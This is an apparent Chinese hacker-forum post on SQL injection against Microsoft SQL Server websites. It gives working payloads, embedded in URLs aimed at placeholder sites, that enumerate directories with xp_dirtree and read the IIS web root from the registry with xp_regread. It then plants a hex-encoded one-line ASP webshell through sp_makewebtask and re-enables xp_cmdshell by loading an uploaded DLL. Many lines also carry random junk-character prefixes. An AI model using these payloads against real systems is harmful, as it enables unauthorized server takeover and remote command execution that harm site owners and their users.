MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
- ]: f! t$ w4 K& k& a结果显示
( N$ A' W0 ~6 c$ H% k4 x& H9 J* e
subdirectory depth
$ A- j' R0 u) U& y; Ntest1 1
5 h  g  t' g( m! ?test3 2
1 M9 J( l( t2 Y, W$ dtest2 1
4 r$ r  N+ N6 }4 A# w8 l) H
0 a, Z# B5 V3 ^; M2 \7 i, ]9 ~# Z哈哈发现没有那个depth就是目录的级数
" Q5 u; B/ G* O. @( v( nok了，知道怎么办了吧
. k* o1 Z% S( |& ]  ^( b; H0 I
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
3 R( v3 b9 N6 Qhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

只要加上id＝1，就是第一级目录 。
) ~2 m* v: A. p. C. Z
$ J- h# v4 i$ }8 u5 W% Q9 A; F. S1 g' Q
, ?. {/ W* d' t# I通过注册表读网站路径:

) V4 S+ S6 L  B/ J9 b& @5 B) Z# `$ U1.;create table [dbo].[cyfd] ([gyfd][char](255));
1 _: ?. A* P( A- {0 u" w
7 U7 i& }4 t- H2 g( M$ n, s3 S2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
+ x/ ?( |- g/ F$ N5 E; C( m0 [id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

5 Z* D# v8 A$ w3.and 1=(select count(*) from 临时表 where 临时字段名>1)
" x8 w3 G: m5 g; G0 J% n) m2 aand 1=(select count(*) from cyfd where gyfd > 1)
这样IE报错,就把刚才插进去的Web路径的值报出来了

0 o3 `9 q5 o1 H4.drop table cyfd;-- 删除临时表
7 r/ t% X3 ]/ a  V* X
9 r: w& V8 L1 g. W9 L% p获得webshell方法:
- v" b4 W4 R" K1.create table cmd (a image)-- \**cmd是创建的临时表

$ M9 z/ B4 {' \3 m' w2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
$ U/ i' |7 m6 u) ~; D; ?$ {+ Z
' g4 G) ~: _& @0 i* A" n6 L  Q) o
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
- O, L6 R$ |7 Q; ?1 eEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
9 T1 ?3 r" d' b% t: _
, }* m. d2 M1 Y: {4.drop table cmd;-- 删除cmd临时表
6 O* M* O9 h5 `1 s. C; n" o2 a
, o  X1 Y6 n6 w恢复xp_cmdshell方法之一:
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）